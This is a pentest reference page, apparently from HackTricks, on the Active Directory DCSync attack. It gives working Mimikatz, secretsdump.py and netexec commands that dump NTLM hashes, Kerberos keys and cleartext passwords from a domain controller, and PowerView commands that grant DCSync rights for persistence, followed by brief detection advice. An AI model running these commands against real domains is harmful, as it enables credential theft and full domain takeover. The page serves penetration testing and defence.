# DCSync {{#include ../../banners/hacktricks-training.md}} ## DCSync The **DCSync** permission implies having these permissions over the domain itself: **DS-Replication-Get-Changes**, **Replicating Directory Changes All** and **Replicating Directory Changes In Filtered Set**. **Important Notes about DCSync:** - The **DCSync attack simulates the behavior of a Domain Controller and asks other Domain Controllers to replicate information** using the Directory Replication Service Remote Protocol (MS-DRSR). Because MS-DRSR is a valid and necessary function of Active Directory, it cannot be turned off or disabled. - By default only **Domain Admins, Enterprise Admins, Administrators, and Domain Controllers** groups have the required privileges. - If any account passwords are stored with reversible encryption, an option is available in Mimikatz to return the password in clear text ### Enumeration Check who has these permissions using `powerview`: ```bash Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')} ``` ### Exploit Locally ```bash Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"' ``` ### Exploit Remotely ```bash secretsdump.py -just-dc :@ -outputfile dcsync_hashes [-just-dc-user ] #To get only of that user [-pwd-last-set] #To see when each account's password was last changed [-history] #To dump password history, may be helpful for offline password cracking ``` ### DCSync using a captured DC machine TGT (ccache) In unconstrained-delegation export-mode scenarios, you may capture a Domain Controller machine TGT (e.g., `DC1$@DOMAIN` for `krbtgt@DOMAIN`). You can then use that ccache to authenticate as the DC and perform DCSync without a password. ```bash # Generate a krb5.conf for the realm (helper) netexec smb --generate-krb5-file krb5.conf sudo tee /etc/krb5.conf < krb5.conf # netexec helper using KRB5CCNAME KRB5CCNAME=DC1$@DOMAIN.TLD_krbtgt@DOMAIN.TLD.ccache \ netexec smb --use-kcache --ntds # Or Impacket with Kerberos from ccache KRB5CCNAME=DC1$@DOMAIN.TLD_krbtgt@DOMAIN.TLD.ccache \ secretsdump.py -just-dc -k -no-pass / -dc-ip ``` `-just-dc` generates 3 files: - one with the **NTLM hashes** - one with the the **Kerberos keys** - one with cleartext passwords from the NTDS for any accounts set with [**reversible encryption**](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption) enabled. You can get users with reversible encryption with ```bash Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol ``` ### Persistence If you are a domain admin, you can grant this permissions to any user with the help of `powerview`: ```bash Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose ``` Then, you can **check if the user was correctly assigned** the 3 privileges looking for them in the output of (you should be able to see the names of the privileges inside the "ObjectType" field): ```bash Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"} ``` ### Mitigation - Security Event ID 4662 (Audit Policy for object must be enabled) – An operation was performed on an object - Security Event ID 5136 (Audit Policy for object must be enabled) – A directory service object was modified - Security Event ID 4670 (Audit Policy for object must be enabled) – Permissions on an object were changed - AD ACL Scanner - Create and compare create reports of ACLs. [https://github.com/canix1/ADACLScanner](https://github.com/canix1/ADACLScanner) ## References - [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync) - [https://yojimbosecurity.ninja/dcsync/](https://yojimbosecurity.ninja/dcsync/) - HTB: Delegate — SYSVOL creds → Targeted Kerberoast → Unconstrained Delegation → DCSync to DA: https://0xdf.gitlab.io/2025/09/12/htb-delegate.html {{#include ../../banners/hacktricks-training.md}}